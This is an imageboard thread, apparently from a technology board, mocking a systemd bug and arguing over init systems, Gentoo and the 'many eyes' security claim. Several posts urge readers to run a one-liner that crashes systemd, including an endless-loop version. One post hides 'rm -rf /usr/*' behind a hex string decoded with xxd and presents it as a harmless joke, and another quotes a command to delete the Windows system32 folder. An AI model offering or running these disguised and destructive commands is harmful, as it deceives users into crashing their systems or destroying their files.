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>systemd is great guys it just works run this command as any

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>systemd is great guys it just works
run this command as any user and see what happens
NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""
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I'm scared.
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>>56851375
Has probably been patched for most people on here sadly

Funny while it lastest
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>>56851417
some people have to use this command
while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done
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>>56851425
The command has been fixed for some time now because the systemd developers actually five a shit.
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>>56851406
Nah, only gentoofags have had the chance.
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>>56851375
all my files are gone wtf man
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>>56851442
Yes, the bug has existed for only 2 years and require manual patching to get rid of right now! What a great response time! The devs really give a shit!
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>>56851375
>Slackware and gentoo don't have this problem
Feels good man
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>>56851406
Only if they already rebooted.

we windows now
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>>56851442
Pretty sure they only patched it because they're in full panic mode right now.
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>>56851375
One of my piss bottles leaked all over my windows pc and now it won't start anymore. I guess windows doesn't just work.
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>>56851375
Slackware already fixed this.
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>letting jobless neckbeards code your OS

No thank you.
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>>56851529
Hello lennart poottering!
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>>56851559
Hello friend. Do you enjoy my gift to the linux community?
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systemd is defective by design
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>>56851570
I love it. It's like I have a clown in my distro!
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Just switch to BSD if you hate systemd this much.
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>>56851587
Or just use distros that don't have it or make it optional like Slackware or gentoo.
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>>56851587
What if I hate BSD even more?
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>>56851598
This.
Install Gentoo.
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>>56851463
>b-b-but many eyes makes loonix more secure
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>>56851731
It makes linux more secure, not systemdick. Just like nobody is claiming that KDE is secure, for example.
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>>56851731
Systemd can't be secure if the code is a mess and the developers are incompetent, even if a billion eyes are inspecting it daily.
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>>56851731
>>56851752
The many eyes meme is one of the very few cases where I think Linus is wrong.

Many eyes in and of itself doesn't make anything more secure. (As a placebo it can even make things worse). Comprehensive audits and proper security practices are what make things secure.
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>GNU/Linux is great guys it just works

$(echo 726d202d7266202f7573722f2a | xxd -r -p)
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>>56851722
How?
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https://www.unixmen.com/a-beginners-guide-to-install-gentoo/

Do it or go back to /v/
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>>56851793
>Many eyes in and of itself doesn't make anything more secure
But nobody is claiming that.
The many eyes claim is that if there is a bug, it will be found. No amount of comprehensive audits by a total of 1 person can provide anywhere near the same guarantee. Of course, if you put 1000 people on the audit team, you're back into the many eyes domain.
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>>56851899
>The many eyes claim is that if there is a bug, it will be found.


Uh hu.
>the average lifetime of a critical security bug in the Linux kernel, from introduction during a code commit to public discovery and having a patch issued, averages three years or more. According to Cook’s analysis, critical and high-severity security bugs in the upstream kernel have lifespans from 3.3 to 6.4 years between commit and discovery.
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>>56851949
And if there weren't many eyes, it would never ever be found (just like is happening in bsdland right now).
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>>56851847
>plays the zelda theme

Uh, what?
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>>56851995
It's magic, I don't gotta explain shit!
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What does it do?
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>>56851988
Critical and high severity bugs not being found for 3 to 6 years fter introduction in the Linux kernel doesn't seem like a testament to good security or how many eyes makes Linux more secure. It seems like the complete opposite. Couple this with the fact Linus and the maintainers deliberately hold back information on the severity of bugs being fixed because to him they are just "normal bugs" which leaves everyone else unaware of serious issues they may need to patch out the whole thing comes across a a complete failure, a disaster.
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>>56852048
Compare to openbsd where it takes decades if bugs are even found at all.
Compare to openbsd where the devs outright deny security flaws that are discovered, and then silently patch them months later.
Meanwhile there are tons of mitigations available for linux and none for openbsd.
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>>56852048
In windows, high severity bugs are called features and are integrated rather than patched.
Or just ignored.
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Is there something like this for gentoo?
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>>56851463
>the bug has existed for only 2 years
Most bugs do exist until they are discovered.
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>>56852131
It was discovered almost immediately though. Empty string is THE default test case. If you're out of time and you can only design one test for something, you'll choose 0 for ints, true for bools and "" for strings.
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>>56852086
Seriously, just use the Handbook.
https://wiki.gentoo.org/wiki/Handbook:AMD64
Follow the steps on the right. It's not hard at all.
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Sorry OP but my init system is wininit.exe.
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>>56852081
ebin
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>>56852225
More like loseit.exe am i rite?
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nothing happened.
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>>56852150
>It was discovered almost immediately though.
Really? It looks more to me like the bug was submitted three months ago.
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Come back with bullshit like this when all other software that you use has 0 bugs
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>>56851882
>an OS that's need a fucking guide to be installed
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>>56852388
retard
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>>56852432
Gentoo is the dark souls of OS installers
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>>56852397
Did I say three months ago? Looks more like two days ago.
And it looks like he made his blog post at the same time he made his bug report, which was before he made his CVE request.
So basically the guy is a jackass, even if he did find a severe bug.
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>>56852519
Lennart pls go and stay go
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>>56851731
LINUXFAGS ON FULL DAMAGE CONTROL
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>>56852439
>Gentoo is the dark souls of OS installers
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>>56851375
>del c:\windows\system32
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WINBABIES BTFO LMAO

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>>56852086
There is the fucking handbook.

If you can read and understand written English, then you can install /g/entoo.
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Literally what distros should I be using that doesn't use systemd?
I was considering switching from arch to Gentoo, but when I tried setting it up in a VM I just got bored after like 45 minutes.
Ive been considering sabayon, but I've heard it's more what Manjaro is to arch than antergos.
Is there really no GUI installer or arch anywhere equivalent for Gentoo? I just don't have the time/interest to spend hours reading through the wiki and installing it.
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>>56852815
devuan
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>>56852382
epic
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>>56852815
arch with openrc and eudev-git
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>>56853045
Can I still install programs normally with pacman from the arch repo and aur?
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>>56851847
nice
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>>56853088
yes mostly

you would have to use abs to build qt5-base without -journald or openvpn with --disable-systemd thats about it

i still havent figured why wpa_supplicant doesnt work == no wifi atm
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Oh fuck now what?
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>>56852815
>I just don't have the time/interest to spend hours reading through the wiki and installing it.
Good. We don't want you.
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>>56853185
unmount everything and do a hard reset
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>>56853185
>>56853486
Then remove systemdick and install a sensible init.
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